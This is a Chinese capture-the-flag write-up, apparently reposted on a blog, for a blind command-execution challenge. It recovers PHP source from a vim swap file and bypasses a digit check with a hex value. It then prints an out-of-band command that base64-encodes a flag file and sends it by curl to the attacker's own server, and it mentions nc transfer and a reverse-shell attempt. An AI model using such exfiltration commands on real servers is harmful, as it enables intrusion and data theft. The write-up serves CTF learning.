i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)...

查看源码得知由vim编写,所以查找备份以及交换文件

 

找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码

 1 <html>
 2 <head>
 3 <title>blind cmd exec</title>
 4 <meta language='utf-8' editor='vim'>
 5 </head>
 6 </body>
 7 <img src=pic.gif>
 8 <?php
 9 /*
10 flag in flag233.php
11 */
12  function check($number)
13 {
14         $one = ord('1');
15         $nine = ord('9');
16         for ($i = 0; $i < strlen($number); $i++) 17  { 18 $digit = ord($number{$i}); 19 if ( ($digit >= $one) && ($digit <= $nine) ) 20  { 21 return false; 22  } 23  } 24 return $number == '11259375'; 25 } 26 if(isset($_GET[sign])&& check($_GET[sign])){ 27 setcookie('auth','tcp tunnel is forbidden!'); 28 if(isset($_POST['cmd'])){ 29 $command=$_POST[cmd]; 30 $result=exec($command); 31 //echo $result; 32  } 33 }else{ 34 die('no sign'); 35 } 36 ?> 37 </body> 38 </html>

 

要执行 exec($command)  需要有一个GET参数传进来,应该是传一个sign,而且sign要满足上述代码中的check()函数,可以用 11259375 的16进制绕过

没有no sign说明绕过成功

 

接下来便可以执行任意命令,代码中已经提示了flag在 flag233.php 文件中,只要读取这个文件即可,但是这里不会有任何回显,所以得让目标服务器带着该文件的内容访问自己的服务器,然后再在自己服务器上查看日志。

看几条linux命令

data=$(cat x.txt); 相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志。

所以构造

cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data;

对该文件base64编码是因为直接传输的话数据可能会因为某些字符而中断

 

然后查看自己服务器上的日志

 

当然还可以直接用nc传输文件。

但是反弹shell试过了,没有成功,可能有对某些命令进行过滤

 

转载于:https://www.cnblogs.com/leixiao-/p/9786320.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值